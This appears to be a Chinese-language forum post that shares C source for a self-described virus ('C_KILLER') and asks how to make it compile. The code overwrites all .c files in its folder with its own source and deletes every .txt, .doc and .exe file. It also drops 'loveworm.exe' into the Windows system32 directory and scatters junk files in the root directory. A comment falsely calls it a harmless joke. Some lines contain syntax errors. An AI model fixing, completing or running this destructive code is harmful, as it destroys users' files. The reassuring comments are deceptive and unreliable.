计算机病毒的问题c++
#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* copy outfile to infile */void copyfile(char *infile, char *outfile){ FILE *in,*out;
in = fopen(infile,"r"); out = fopen(outfile,"w");
while (!feof(in)) { fputc(fgetc(in),out); }
fclose(in); fclose(out);}
/*
This function named Rubbishmaker.
*/void MakeRubbish(){ int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\";
/* Make some rubbish at the current catalogue */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); }
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */
for (i = 0; i<5; i++) { char tempname[] = "XXXXXX";
NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); }
}
/*
This function can creat some .exe or .com documents in the sensitive place. Don't worry,It's only a joke.It will do no harm to your computer.
*/
void CreatEXE(){ int i; char *path;
char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\};
for ( i = 0; i < 2; i++) { open(s[i], 0x0100,0x0080); copyfile( "C_KILLER.C",s[i]);
}}
/* remove something from your computer */void Remove(){ int done; int i;
struct ffblk ffblk; char *documenttype[3] = {"*.txt","*.doc","*.exe"}; for (i = 0; i < 3; i++) { done = findfirst(documenttype[i],&ffblk,2); while (!done) { remove(ffblk.ff_name); done = findnext(&ffblk); } }}
/* overlay the c programs */void Breed(){ int done;
struct ffblk ffblk;
done = findfirst("*.c",&ffblk,2); while (!done) { if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{ copyfile("C_KILLER.C",ffblk.ff_name); } done = findnext(&ffblk); }
}
void main(){
printf("THERE IS A VIRUS BY XIAOKE.\n\n");
Breed(); Remove(); CreatEXE();
printf("COULD YOU TELL ME YOUR NAME?\n\n"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");
MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!\n\n");
clrscr(); system("cmd");}
请问一下高手们这个程序怎么样才可以编译成功?